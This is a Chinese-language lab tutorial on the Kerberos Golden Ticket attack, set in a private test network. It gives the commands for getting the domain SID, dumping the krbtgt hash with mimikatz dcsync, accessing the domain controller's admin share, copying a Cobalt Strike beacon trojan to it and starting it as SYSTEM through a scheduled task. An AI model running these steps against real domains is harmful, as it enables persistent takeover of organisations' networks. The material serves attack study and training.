Krbtgt账户介绍
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
黄金票据原理
TGT=Krbtgt的html hash 加密
- Kerberos中的TGT和Logon Session Key(CT_SK)是AS返回的 ,TGT它是由Krbtgt加密和签名的,krbtgt的NTLM Hash又是固定的,而CT_SK并不会保存在KDC中。
- 所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key(CT_SK)。
- Client与TGS的交互中,已经有了黄金票据后(TGT),就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
当我们获得域控的控制权限后,有可能获取域内所有用户的hash,和krbtgt的hash。这时,由于一些原因导致我们失去对目标的控制权,但是我们还留有一个普通用户的权限,并且krbtgt的密码没有更改,此时我们可以利用krbtgt用户的ntlm hash制作黄金票据伪造TGT,重新获取域控的管理权限。
实验内容
实验环境
机器名称 | IP地址 |
实验机器(Windows 10) | 192.168.26.129 |
靶机(Windows server 2016) | 192.168.26.114 |
实验前提
1、已经控制了域名并且使用域管理员登录或者提权的system
如果域管理员发现了你控制了域控机器,把你的后门删除了,那么就不能继续控制域控了,这个时候当我们可以伪造TGT重新获得域控的权限
条件如下:
- 域名称
- 域的SID值
- 域的Krbtgt账号的 HASH
- 伪造任意用户名(获取域的SID和Krbtgt账号的 NTLM HASH 的前提是已经拿到域权限)
实验步骤
- 已经控制域控和域内机器
- 获取关键信息
shell whoami /user 获取域的SID值(去掉最后 -500,表示administrator用户)
shell net config workstation 查看域
hack.com
S-1-5-21-2665115189-2951733486-2104235742
- 使用 mimikatz 导出 Krbtgt 的 NTLM HASH
mimikatz lsadump::dcsync /domain:hack.com /user:krbtgt
e96f92b093d8d9644d2157b1ed188388
- 如果现在域控下线,或者管理员发现,把后门清理了
- 之前记录了关键信息,现在就可以伪造任意用户访问域控,要保证用户机器是域内用户或者system用户
mimikatz kerberos::tgt 查票
mimikatz kerberos::purge 清票
- 制作黄金票据
- 使用 dir 远程访问域控
shell dir \\dc.hack.com\c$
- 利用计划任务上线 CS
-
- copy恶意木马到域控
shell copy c:\users\administrator\desktop\beacon.exe \\dc.hack.com\c$
-
- 设置计划任务到域控
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\beacon.exe /ru system /f
shell schtasks /run /s dc.hack.com /i /tn "test"
-
- 域控成功上线